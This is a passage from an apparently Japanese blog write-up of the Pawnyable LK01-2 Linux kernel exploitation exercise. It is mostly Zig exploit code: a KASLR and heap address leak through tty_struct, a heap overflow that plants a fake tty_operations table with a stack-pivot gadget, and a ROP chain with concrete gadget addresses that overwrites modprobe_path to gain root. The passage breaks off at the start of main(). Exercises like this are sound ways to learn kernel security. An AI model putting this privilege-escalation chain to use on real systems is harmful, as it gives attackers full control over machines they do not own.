</span></span><span style="display:flex;"><span>00007ffed91dc4b8  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">................</span>
</span></span><span style="display:flex;"><span>00007ffed91dc4c8  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">D8</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">.........X␍.....</span>
</span></span><span style="display:flex;"><span>00007ffed91dc4d8  <span style="color:#00bcff">D8</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#79a8ff">.X␍.............</span>
</span></span><span style="display:flex;"><span>00007ffed91dc4e8  <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span> <span style="color:#00bcff">00</span>  <span style="color:#00bcff">F8</span> <span style="color:#00bcff">58</span> <span style="color:#00bcff">0D</span> <span style="color:#00bcff">03</span> <span style="color:#00bcff">80</span> <span style="color:#00bcff">88</span> <span style="color:#00bcff">FF</span> <span style="color:#00bcff">FF</span>  <span style="color:#79a8ff">.........X␍.....</span></span></span></code></pre></div>
</details>

<p>なんと、​<kbd>tty_struct</kbd>​には両方のリクがある！
確かに便利ね。
通常の​<kbd>tty_struct</kbd>​なら​<kbd>ops</kbd>​の値は<a href="https://elixir.bootlin.com/linux/v5.10.7/source/drivers/tty/pty.c#L892">ptmx_fops</a>のアドレス（このvmlinuxでは​<code>0xffffffff81c38880</code>​）、そして​<kbd>ldisc_sem.read_wait</kbd>​の値は​<kbd>tty_struct</kbd>​のアドレス.</p>
<p><a id="code-snippet--tty-struct"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#a8a8a8">// as of 5.10.7
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span><span style="color:#b6a0ff">const</span> tty_struct <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ld_semaphore <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> list_head <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>            next<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xdeadbeefdeadbeef</span>,
</span></span><span style="display:flex;"><span>            prev<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xcafebabecafebabe</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        count<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        wait_lock<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        wait_readers<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        read_wait<span style="color:#00d3d0">:</span> list_head <span style="color:#00d3d0">=</span> .{},
</span></span><span style="display:flex;"><span>        write_wait<span style="color:#00d3d0">:</span> list_head <span style="color:#00d3d0">=</span> .{},
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	magic<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x5401</span>,
</span></span><span style="display:flex;"><span>	kref<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>	dev<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>	driver<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, <span style="color:#a8a8a8">// must be a valid heap address
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>	ops<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    index<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    ldisc_sem<span style="color:#00d3d0">:</span> ld_semaphore <span style="color:#00d3d0">=</span> .{},
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// don&#39;t care about the rest
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">init</span>(ops_table<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>) tty_struct {
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// ops_table must live on the heap
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#b6a0ff">return</span> .{
</span></span><span style="display:flex;"><span>            .driver <span style="color:#00d3d0">=</span> ops_table,
</span></span><span style="display:flex;"><span>            .ops <span style="color:#00d3d0">=</span> ops_table,
</span></span><span style="display:flex;"><span>            .ldisc_sem <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                .read_wait <span style="color:#00d3d0">=</span> .{ .next <span style="color:#00d3d0">=</span> ops_table, .prev <span style="color:#00d3d0">=</span> ops_table },
</span></span><span style="display:flex;"><span>                .write_wait <span style="color:#00d3d0">=</span> .{ .next <span style="color:#00d3d0">=</span> ops_table, .prev <span style="color:#00d3d0">=</span> ops_table },
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> tty_operations <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>	lookup<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>	install<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>	remove<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>	open<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    close<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    shutdown<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    cleanup<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    write<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    put_char<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    flush_chars<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    write_room<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    chars_in_buffer<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    ioctl<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk01-2-heap-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakKASLROffset</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ptmx_fops_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81c38880</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x400</span><span style="color:#00d3d0">+</span><span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)<span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> ptmx_fops_addr;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakGBuf</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ld_semaphore <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@offsetOf</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@typeInfo</span>(<span style="color:#f78fe7">@FieldType</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>)).@<span style="color:#79a8ff">&#34;struct&#34;</span>.fields[<span style="color:#00bcff">0</span>].<span style="color:#6ae4b9">type</span>);
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x400</span><span style="color:#00d3d0">+</span>offset]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> (buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>ROPしたいから、悪質の​<kbd>tty_operations</kbd>​の​<kbd>ioctl</kbd>​の値はスタックピボットのアドレスに読み込んでる。</p>
<p>それと、​<kbd>ioctl</kbd>​を読んでる時に幾つかのレジースタは管理できるから、第二引数はROPchainのアドレスにする（こう：​<span class="inline-src language-zig" data-lang="zig"><code>for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, ropchain_addr);</code></span>）。</p>
<p><a id="code-snippet--lk01-2-heap-overflow"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">posionTTYStruct</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, g_buf_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fake_tty_ops <span style="color:#00d3d0">=</span> tty_operations{ .ioctl <span style="color:#00d3d0">=</span> PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>fake_tty_ops));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> n_written<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@TypeOf</span>(fake_tty_ops));
</span></span><span style="display:flex;"><span>    n_written <span style="color:#00d3d0">+=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(writer);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#79a8ff">&#39;A&#39;</span>, <span style="color:#00bcff">0x400</span> <span style="color:#00d3d0">-</span> n_written);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_struct{ .driver <span style="color:#00d3d0">=</span> g_buf_addr, .ops <span style="color:#00d3d0">=</span> g_buf_addr })[<span style="color:#00bcff">0</span>..<span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)<span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>ROPchainの内容は​<kbd>modprobe_path</kbd>​上書きするやつだ。</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;modprobe_path&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>

<p>​<code>CONFIG_KALLSYMS_ALL=y</code>​がない場合、​<kbd>modprobe_path</kbd>​は​<code>/proc/kallsyms</code>​に表示されない。
もちろんあるけど。</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>vmlinux <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;./vmlinux&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">hex</span>(<span style="color:#f78fe7">next</span>(vmlinux<span style="color:#00d3d0">.</span>search(<span style="color:#79a8ff">&#34;/sbin/modprobe</span><span style="color:#79a8ff">\0</span><span style="color:#79a8ff">&#34;</span>)))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81e38180</span></span></code></pre></div>

<p><a id="code-snippet--lk01-2-rop"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff813a478a</span>; <span style="color:#a8a8a8">// stack pivot gadget
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RAX_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8110840a</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8113dd3c</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI_ADD_CL_CL<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81032f59</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81800e10</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">22</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81e38180</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">usize</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> chain <span style="color:#00d3d0">=</span> [_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI_ADD_CL_CL,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00\x00</span><span style="color:#79a8ff">&#34;</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RAX_RDI,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>modprobePath),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>chain));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>chain).len;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_ADDROF_RAX_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDI_ADD_CL_CL,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MODPROBE_PATH,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>またセグフォルートの問題が遭遇したので、​<kbd>sigaction</kbd>​を利用した。</p>
<p><a id="code-snippet--lk01-2"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  

  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--tty_struct">&lt;&lt;tty_struct&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--heap-spray">&lt;&lt;heap-spray&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-2-heap-leak">&lt;&lt;lk01-2-heap-leak&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-2-heap-overflow">&lt;&lt;lk01-2-heap-overflow&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-2-rop">&lt;&lt;lk01-2-rop&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#00d3d0">&amp;</span>modprobePath);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> ttys<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">100</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(ttys[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">50</span>]);
</span></span><span style="display:flex;"><span>
